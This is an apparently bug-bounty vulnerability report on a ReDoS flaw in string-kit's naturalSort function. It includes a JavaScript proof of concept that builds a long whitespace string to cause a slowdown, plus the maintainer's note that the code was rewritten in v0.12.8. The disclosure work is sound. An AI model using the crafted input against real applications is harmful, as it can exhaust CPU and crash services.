Inefficient Regular Expression Complexity in cronvel/string-kit

Valid

Reported on

Jul 18th 2021


✍️ Description

A ReDoS (regular expression denial of service) flaw was found in the string-kit package. An attacker that is able to provide crafted input to the naturalSort function may cause an application to consume an excessive amount of CPU.

🕵️‍♂️ Proof of Concept

Create the following PoC file:

// PoC.js
var stringKit = require("string-kit")
function build_attack (n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
    ret += " "
    }
    
    return ret + "1";
    }
    var time = Date.now();
    stringKit.naturalSort(build_attack(50000, 2000))
    var time_cost = Date.now() - time;
    console.log("time_cost: " + time_cost)

npm i string-kit node poc.js

Check the Output:

time_cost: 2590


# 💥 Impact
This vulnerability is capable of exhausting system resources and leads to crashes.
Ziding Zhang
4 months ago

Admin


Hey ready-research, I've just contacted the string-kit team about this report. Let's wait to hear back from them. Good job!

We have contacted a member of the cronvel/string-kit team and are waiting to hear back 4 months ago
cronvel/string-kit maintainer
4 months ago

I'm the author of the lib.

The naturalSort() code was borrowed one, and was quite hugly, and unmaintainable.

I have rewritten it from scratch, and there is no RegExp anymore. It's probably 100,000 or even 1 million of times faster now for bigger input (no joke). It's published one Github and Npm now, as string-kit v0.12.8.

Thanks for reporting! ;)

ready-research
4 months ago

Researcher


@maintainer can you please confirm this by using validate button and if possible post a commit to close this issue. Thank you

Cedric Ronvel validated this vulnerability 4 months ago
ready-research has been awarded the disclosure bounty
The fix bounty is now up for grabs
Cedric Ronvel confirmed that a fix has been merged on 9cac4c 4 months ago
Cedric Ronvel has been awarded the fix bounty